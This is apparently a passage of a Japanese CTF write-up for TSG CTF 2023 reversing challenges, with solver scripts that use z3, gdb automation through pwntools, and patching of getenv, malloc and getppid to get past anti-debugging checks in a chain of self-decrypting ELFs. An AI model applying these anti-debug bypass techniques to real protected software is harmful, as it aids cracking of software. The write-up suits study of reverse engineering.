    if s.check() == z3.sat:
        return s.model()[v].as_long()
    raise Exception("Can not satisfied")

def inv_xor_shr12_bytearray(b):
    for i in range(len(b) // 8):
        v = struct.unpack("<Q", b[i*8:(i+1)*8])[0]
        # print(f"{i=}, {v=:16x}")
        original = inv_xor_shr12(v)
        b[i*8:(i+1)*8] = struct.pack("<Q", original)

# WinDbgで確認したやつ
modified_flag = bytearray.fromhex("""
21 67 03 26 e0 d1 7c 79 c7 00 58 24 f7 33 6a 64
b8 33 58 47 64 01 36 37 27 98 e1 59 1b c7 72 5f
c4 75 69 57 15 f4 75 79 83 22 79 56 34 90 31 5f
27 98 e1 59 1b c7 72 5f c4 75 69 57 15 f4 75 79
83 42 dc 01 9b f6 59 6c 85 57 28 c5 31 4c 33 61
95 f6 49 8f 87 78 68 31 98 62 58 63 d3 47 6d 37
e4 75 7d 00 00 00 00 00 00 00 00 00 00 00 00 00
""" )
# print(modified_flag.hex())
inv_xor_shr12_bytearray(modified_flag)
print(modified_flag.rstrip(b"\x00").decode())

実行しました:

$ ./solve2.py
TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}
$

フラグを入手できました: TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}

leet内容はYou would understand how to decrypt arc4 and how to decrypt the leaked safe linking pointerだと思います。RC4はともかくとして、leaked-safe-linking-pointerとは一体……?

この問題はbeginnerかつeasyな問題の中で、もっとも正解チームが少ない問題です。果たしてこの問題は「beginner」なのでしょうか……?とはいえReversingジャンルでは、一般的な技術とCTF特有の技術を区別することは中々難しそうです。

なお、最初はWinDbgではなくx64dbgで確認しようと思っていました。しかしx64dbgではメモリ中の内容改ざんが大変そうでした。具体的には、指定Hex文字列で指定アドレスから一気に改ざんしたかったのですが、1バイト単位でのみ改ざんする画面だけ見つかりました。多分x64dbgでも探せばコマンドで代用できるのでしょうけれど、WinDbgでやる方法は知っていたのでWinDbgを使いました。

また、本問題に取り組んでいる途中、Bing Chatに「この共通鍵暗号アルゴリズムはなんですか」と聞いていました。Bing Chatが「Blowfishである可能性があります」と答えたのでしばらく明後日の方向へ突撃していました。ツールに振り回されちゃだめですね……。

[Reversing, easy] T the weakest (18 team solved, 215 points)

T「グアアアア」 S「Tがやられたようだな…」 G「フフフ…奴は百天王の中でも最弱…」 C「人間ごときに負けるとはTSGerの面汚しよ…」

ソードマスター某な問題文です。配布ファイルとして、問題本体のt_the_weakestがありました:

$ file *
t_the_weakest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), BuildID[sha1]=4890da9fdfbb0b21eb3cfb1a9974eb32558f4e51, for GNU/Linux 3.2.0, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header
$

IDAへ読み込ませると、実質main関数1つだけのようでした。早速逆コンパイルを試みると、Decompilation failure: 10A0: stack frame is too bigエラーで失敗しました。実際main関数は以下の内容で、スタックローカル変数を0x12C080バイト分確保していました:

LOAD:00000000000010A0 ; int __fastcall main(int, char **, char **)
LOAD:00000000000010A0 main proc near
LOAD:00000000000010A0
LOAD:00000000000010A0 s= byte ptr -12C08Bh
LOAD:00000000000010A0 bufSize1228883= byte ptr -12C06Bh
LOAD:00000000000010A0 var_18= byte ptr -18h
LOAD:00000000000010A0
LOAD:00000000000010A0 push    r12
LOAD:00000000000010A2 push    rbp
LOAD:00000000000010A3 push    rbx
LOAD:00000000000010A4 sub     rsp, 12C080h

main関数では以下のことを行っていました:

  1. argc2であること、すなわちコマンドライン引数が1個与えられていることを検証します。また、コマンドライン引数の1文字目がTであることも検証します。検証失敗時はputs("ng"); exit(1);な関数を呼び出して終了します。
  2. グローバル変数内容をローカル変数へコピーし、線形合同法か何かでXORしてELF形式を復号します。
  3. memfd_createシステムコールでファイルディスクリプタを作成します。
  4. write関数で、生成したファイルディスクリプタへ復号したELF形式を書き込みます。
  5. sprintf関数で"/proc/self/fd/%d"形式でパスを作成します。
  6. execv関数を使用して、復号したELF形式を実行します。その際コマンドライン引数を1文字後ろへずらします。

安全な環境で試しに実行してみました:

$ strace ./t_the_weakest 'TSGCTF{DUMMY}' 2>&1 | grep -e '^read' -e 'write' -e 'execve'
execve("./t_the_weakest", ["./t_the_weakest", "TSGCTF{DUMMY}"], 0x7ffdce594b98 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\21\0\0\0\0\0\0"..., 1228883) = 1228883
execve("/proc/self/fd/3", ["./t_the_weakest", "SGCTF{DUMMY}"], 0x7ffe41aa9e00 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\21\0\0\0\0\0\0"..., 1216595) = 1216595
execve("/proc/self/fd/3", ["./t_the_weakest", "GCTF{DUMMY}"], 0x7ffd4a881b90 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1204307) = 1204307
execve("/proc/self/fd/3", ["./t_the_weakest", "CTF{DUMMY}"], 0x7fffb5931020 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\21\0\0\0\0\0\0"..., 1192019) = 1192019
execve("/proc/self/fd/3", ["./t_the_weakest", "TF{DUMMY}"], 0x7ffe46acd6a0 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1179731) = 1179731
execve("/proc/self/fd/3", ["./t_the_weakest", "F{DUMMY}"], 0x7ffdad571b90 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\21\0\0\0\0\0\0"..., 1167443) = 1167443
execve("/proc/self/fd/3", ["./t_the_weakest", "{DUMMY}"], 0x7ffea5bb9500 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\21\0\0\0\0\0\0"..., 1155155) = 1155155
execve("/proc/self/fd/3", ["./t_the_weakest", "DUMMY}"], 0x7fff19edcf00 /* 24 vars */) = 0
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
write(1, "ng\n", 3ng
$

どうやら、1つのELFでフラグを1文字検証するようでした。

以下の方針でソルバーを書きました:

  1. gdb操作を自動化すれば捗りそう。
  2. write関数にブレークポイントを貼って、書き込もうとしている内容を別途ファイル保存させれば、1段階ずつフラグを検証できそう。
  3. 何か困ったことがあればその都度対応しよう。

余談: gdbはシンボルの読み込み前でもブレークポイントを設定できる

ソルバーを書く過程で、gdb関連の困り事が起こりました。具体的には、write関数にブレークポイントをどうやって貼ればいいのか躓いていました。gdb-pedaを導入した環境でgdbを触っていたのですが、ある程度実行が進むまではwrite関数へブレークポイントを貼れないと勘違いしていました:

$ gdb -q ./t_the_weakest
Reading symbols from ./t_the_weakest...
(No debugging symbols found in ./t_the_weakest)
gdb-peda$ starti
Starting program: /mnt/d/Documents/work/ctf/TSG_CTF_2023/t_the_weakest/t_the_weakest

Program stopped.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
(色々表示省略)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007ffff7fe3290 in _start () from /lib64/ld-linux-x86-64.so.2
gdb-peda$ b write
Function "write" not defined.
gdb-peda$

実は生のgdbでは、「将来、共有ライブラリが読み込まれたときにブレークポイントを設置できる」機能が有効です:

$ gdb -q -n ./t_the_weakest
Reading symbols from ./t_the_weakest...
(No debugging symbols found in ./t_the_weakest)
(gdb) starti
Starting program: /mnt/d/Documents/work/ctf/TSG_CTF_2023/t_the_weakest/t_the_weakest

Program stopped.
0x00007ffff7fe3290 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) b write
Function "write" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (write) pending.
(gdb)

当該機能の有効無効はset breakpoint pending onコマンドで切り替えられるようです。ソルバー実装時はそのことを知らず、変な方向にハマりまくっていました。

対処が必要な項目: getenv("LINES"), getlines("COLUMNS")

22段階目ぐらいのELFの話です。ちなみに当該ELFのmain関数プロローグはsub rsp, 0EA080hであり、最初のELFよりも使用スタックサイズが小さくなったからか、問題なく逆コンパイルできました。ともかく、そのELFでは以下の処理を行っていました:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rbx
  char *v4; // rcx
  unsigned int v5; // ebx
  char s[32]; // [rsp+Dh] [rbp-EA08Bh] BYREF
  char buf[958547]; // [rsp+2Dh] [rbp-EA06Bh] BYREF
  char v9; // [rsp+EA080h] [rbp-18h] BYREF

  v3 = *a2[1];
  qmemcpy(buf, &unk_2026, (unsigned __int64)&unk_EA053);
  if ( ((32 * (v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17))) ^ v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17)) != 28691816
    || getenv("LINES")
    || getenv("COLUMNS") )
  {
    PrintNgAndExit();
  }
  v4 = buf;
  do
  {
    *v4++ ^= (272475379 * v3 + 313924224) % 1000000403;
    v3 = (272475379 * v3 + 313924224) % 1000000403;
  }
  while ( &v9 != v4 );
  v5 = syscall(319LL, "", 3LL);
  write(v5, buf, (size_t)&unk_EA053);
  sprintf(s, "/proc/self/fd/%d", v5);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

すなわち、フラグの1文字を正解する以外にも、getenv("LINES")getenv("COLUMNS")にNULLを返させる必要があります。ソルバーから環境変数に介入する方法を調べると、以下の方法がありそうでした:

  • pwn.process関数でgdbコマンドを起動する際に、環境変数からLINESCOLUMNSを削除しておく。
  • ELFデバッグ中のgdb対話環境で、unset environment LINESコマンドを使って削除する。

ただ試した限りではどちらの方法でも、getenv("LINES")"60"を返しました。もしかしたら特別扱いされる環境変数か何かなにかもしれません。ひとまずものすごく困ったので、getenv関数へもブレークポイントを設定して、戻り値をすべてNULLへ改ざんさせることにしました。

対処が必要な項目: malloc関数の戻り値範囲の制約

26段目くらいのELFでは以下の処理を行っていました:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  char *v4; // rcx
  unsigned int v5; // ebx
  char s[32]; // [rsp+5h] [rbp-DE093h] BYREF
  char buf[909403]; // [rsp+25h] [rbp-DE073h] BYREF
  char v9; // [rsp+DE080h] [rbp-18h] BYREF

  if ( (_BYTE *)malloc(0x10uLL) - (_BYTE *)&unk_E2061 <= (__int64)&unk_20000
    || (v3 = *a2[1],
        qmemcpy(buf, &unk_2018, (unsigned __int64)&unk_DE05B),
        ((32 * (v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17))) ^ v3 ^ (v3 << 13) ^ ((v3 ^ (unsigned __int64)(v3 << 13)) >> 17)) != 27036706) )
  {
    PrintNgAndExit();
  }
  v4 = buf;
  do
  {
    v3 = (515278356 * v3 + 409101434) % 1000000021;
    *v4++ ^= v3;
  }
  while ( &v9 != v4 );
  v5 = syscall(319LL, "", 3LL);
  write(v5, buf, (size_t)&unk_DE05B);
  sprintf(s, "/proc/self/fd/%d", v5);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

malloc関数の戻り値を検証しています。IDAで見る限りですと、逆コンパイル画面でも逆アセンブル画面でも、(long long)malloc(0x10) - 0xE2061 > 0x20000を満たすように改ざんすればいいように見えました。例えばmalloc関数の戻り値を0x12345678あたりにでも改ざんすれば十分なように見えます。しかしgdbで動作確認すると、実際は以下の処理を行っていました:

   0x5555555550c3:      call   0x555555555060
=> 0x5555555550c8:      lea    rdx,[rip+0xe0f92]        # 0x555555636061
   0x5555555550cf:      sub    rax,rdx
   0x5555555550d2:      cmp    rax,0x20000
   0x5555555550d8:      jg     0x5555555550e1

つまり、実は(long long)malloc(0x10) - 0x555555636061E2061 > 0x20000を満たす必要があることが分かりました(実際はripレジスタからの間接アドレッシングであるため、ELFが読み込まれるアドレスにより変化します)。そのため、malloc関数の戻り値を0x12345678に改ざんする方法では足らず、もっと大きな値に改ざんする必要がありまた。

その他、malloc関数は、どうやらputs関数からも呼び出されるようです。そのため、あらゆるmalloc関数呼び出しについて戻り値を改ざんしてしまうと、puts関数でアクセス違反を起こします。ひとまずmalloc関数の引数が0x10かどうかで判定することで、アクセス違反は起こりませんでした。

対処が必要な項目: ptrace関数等を使ったアンチデバッグ

59段目くらいのELFでは以下の処理を行っていました:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v3; // al
  __int64 v4; // rdx
  char *v5; // rcx
  unsigned int ppid; // ebp
  unsigned int v7; // ebp
  char s[32]; // [rsp+Dh] [rbp-7B0BBh] BYREF
  char buf[503939]; // [rsp+2Dh] [rbp-7B09Bh] BYREF
  char v11; // [rsp+7B0B0h] [rbp-18h] BYREF

  v3 = *a2[1];
  qmemcpy(buf, &unk_2018, (unsigned __int64)&unk_7B083);
  if ( v3 != 'h' )
    goto locPrintNgAndExit;
  v4 = 104LL;
  v5 = buf;
  do
  {
    v4 = (720938020 * v4 + 82437315) % 1000000403;
    *v5++ ^= v4;
  }
  while ( v5 != &v11 );
  ppid = getppid();
  if ( ptrace(PTRACE_GETFPREGS|0x140, 0LL, 0LL, 0LL) != -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) == -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) != -1
    || ptrace(PTRACE_ATTACH, ppid, 0LL, 0LL) != -1 )
  {
locPrintNgAndExit:
    PrintNgAndExit();
  }
  kill(ppid, SIGSTOP);
  waitpid(ppid, 0LL, 0);
  ptrace(PTRACE_DETACH, ppid, 0LL, 0LL);
  kill(ppid, SIGCONT);
  v7 = syscall(319LL, "", 3LL);
  write(v7, buf, (size_t)&unk_7B083);
  sprintf(s, "/proc/self/fd/%d", v7);
  ++a2[1];
  execv(s, a2);
  return 0LL;
}

getppid関数で親プロセスのIDを取得して、ptrace関数でアタッチ等できるか検証したり、kill関数で停止させようとしています。これらの関数すべてでブレークさせて処理や戻り値を改ざんするのは大変なので、適当なプロセスを起動して、getppid関数の戻り値を新規プロセスのIDへ改ざんする方針にしました。

最終的なソルバー

最終的なソルバーです:

#!/usr/bin/env python3

import pwn
import sys
import string
import os
import subprocess

# pwn.context.log_level = "DEBUG"

def extract_core(elf_path:str, next_elf_path_to_save:str, flag_to_input:str)->bool:
    prompt = b"(gdb)" # 環境に合わせて定義調整してください
    # prompt = b"gdb-peda$"
    with pwn.process(["gdb", "-q", "-n", "--args", "./"+elf_path, flag_to_input]) as io:
        def extract_register_value(register_name:bytes)->int:
            io.sendlineafter(prompt, b"info register %s" % register_name)
            line = io.recvline_contains(register_name)
            return int(line.split()[1], 16)

        # main関数へbreakを貼る
        io.sendlineafter(prompt, b"set breakpoint pending on") # peda使用環境は自動的にoffにしているかもしれない
        io.sendlineafter(prompt, b"b __libc_start_main")
        io.sendlineafter(prompt, b"run") # 入力フラグはgdb起動時の--argsコマンドで指定済み(runコマンドで指定しようとすると各種記号のエスケープが大変)
        io.sendlineafter(prompt, b"b *$rdi") # main関数へbreakポイントを貼る
        io.sendlineafter(prompt, b"continue")

        # 現在main関数、ようやく色々ブレークポイントを貼れたりするはず
        # 22個目くらいで、getenv("LINES")等にNULLを返させる必要がある。しかし「unset environment LINES」などをしてもどうにも"60"が返ってしまう。戻り値改変万歳。
        # 27個目くらいで、「(_BYTE *)malloc(0x10uLL) - (_BYTE *)&unk_E2061 <= (__int64)&unk_20000」でもngになる。適当に大きな値にする。malloc結果は未使用
        # 60個目くらいで、getppid結果に対してptraceとかkillとかwaitpidとか色々やってる、getppid結果を改ざんする
        io.sendlineafter(prompt, b"b write")
        io.sendlineafter(prompt, b"b getenv")
        io.sendlineafter(prompt, b"b malloc")
        io.sendlineafter(prompt, b"b getppid")
        io.sendlineafter(prompt, b"continue")

        victim_process = None
        # どこかでブレークしているか、なにかバグってて終了しているはず
        while True:
            io.sendlineafter(prompt, b"info register $rip")
            received = io.recvuntil(prompt)
            io.sendline(b"") # promptを改めて受信する
            if b"ng\n" in received:
                return False
            elif b"getenv" in received:
                # 戻り値をNULLへ改変する
                io.sendlineafter(prompt, b"fin")
                io.sendlineafter(prompt, b"set $rax=0")
                io.sendlineafter(prompt, b"continue")
            elif b"malloc" in received:
                # 雑に全部置き換えると通常用途で大変なことになるのでサイズを見て適当に置き換え
                size_to_allocate = extract_register_value(b"rdi")
                if size_to_allocate != 0x10:
                    # puts中の通常利用らしいので続行
                    io.sendlineafter(prompt, b"continue")
                else:
                    # 戻り値改ざん
                    print(f"malloc({size_to_allocate:08x})")
                    io.sendlineafter(prompt, b"fin")
                    io.sendlineafter(prompt, b"set $rax=0x8000000000000000")
                    io.sendlineafter(prompt, b"continue")
            elif b"getppid" in received:
                # 戻り値を適当なプロセスへ改変する
                victim_process = subprocess.Popen("cat", shell=False)
                print(f"Spawnd process id: {victim_process.pid}")
                io.sendlineafter(prompt, b"fin")
                io.sendlineafter(prompt, b"set $rax=%s" % str(victim_process.pid).encode())
                io.sendlineafter(prompt, b"continue")
            else:
                break

        if victim_process:
            victim_process.kill()
        # write関数でブレークしているはずなので書き込み内容をダンプ
        addr_new_elf = extract_register_value(b"rsi")
        size_new_elf = extract_register_value(b"rdx")
        # こっちでもng判定が必要なはず
        if size_new_elf <= 3:
            return False
        io.sendlineafter(prompt, b"dump binary memory %s %s %s" % (next_elf_path_to_save.encode(), str(addr_new_elf).encode(), str(addr_new_elf + size_new_elf).encode()))
        io.sendlineafter(prompt, b"quit")
        return True

def solve():
    original_file_name = "t_the_weakest"
    flag = bytearray()
    candidates = "".join(map(chr, range(0x20, 0x7f)))

    count = 1
    current_file_name = original_file_name
    next_file_name = f"{original_file_name}_{count}"
    while b"}" not in flag:
        for c in candidates:
            print(f"{count = }, {c = }")
            if extract_core(current_file_name, next_file_name, c):
                count += 1
                current_file_name = next_file_name
                next_file_name = f"{original_file_name}_{count}"
                flag.append(ord(c))
                print(flag)
                break
        else:
            raise Exception("Can not found flag...")
solve()

実行しました:

$ time ./solve.py
count = 1, c = ' '
[+] Starting local process '/usr/bin/gdb': pid 3320
[*] Stopped process '/usr/bin/gdb' (pid 3320)
count = 1, c = '!'
[+] Starting local process '/usr/bin/gdb': pid 3338
(中略)
count = 100, c = '{'
[+] Starting local process '/usr/bin/gdb': pid 3264
[*] Stopped process '/usr/bin/gdb' (pid 3264)
count = 100, c = '|'
[+] Starting local process '/usr/bin/gdb': pid 3282
[*] Stopped process '/usr/bin/gdb' (pid 3282)
count = 100, c = '}'
[+] Starting local process '/usr/bin/gdb': pid 3300
[*] Stopped process '/usr/bin/gdb' (pid 3300)
bytearray(b'TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}')
./solve.py  2104.89s user 228.59s system 94% cpu 41:10.62 total
$

40分以上かかりましたがフラグを入手できました: TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}

なお、実際の競技中は、「途中で失敗した場合はそこまでのフラグをメモして、失敗以降から改めて再実行」をしていました。そのため毎回40分待っていたわけではありません。また、正しいフラグを与えた場合にはすぐ終わります:

$ time ./t_the_weakest 'TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}'
🎉
./t_the_weakest   0.67s user 0.07s system 93% cpu 0.797 total
$

[Cooldown, survey] Survey (140 team solved, 1 points)

TSG CTF 2023に参加いただきありがとうございます!!🥰

今後の参考とするため、アンケートへのご協力をお願いします。

アンケート回答後に表示されるフラグを提出することで、1ポイントを獲得できます。

なお、この問題への提出はタイブレークに用いられる「最終提出時間」には影響しないため、コンテスト中お好きな時間に回答いただいても不利になることはありません。

(URL省略)

リンク先はGoogle Formでした。DOMツリーからTSGCTF{で検索して、フラグを入手できました: TSGCTF{Thank_you_for_your_participation!}

本ブログを書き上げた後にちゃんと回答します! → ちゃんと回答しました!

感想

  • reversingジャンルがeasy段階でも歯ごたえたっぷりでした!
  • 解けませんでしたが、reversingジャンルの他の問題では、Go言語製バイナリや、PowerShellスクリプトのリバーシング問題から始まり、言語認識モデルのリバーシングまで多種多様な内容でした。それらも解けるようになりたいです。
  • cryptoジャンルのbeginner問題が、ぱっと見では非常に複雑に見えたのですぐに他の問題へ移りました。ただ終了後に解説を見ると「実は非常に限定された状況」らしいというのも分かりました。試行錯誤する努力や意志は大事ですね……。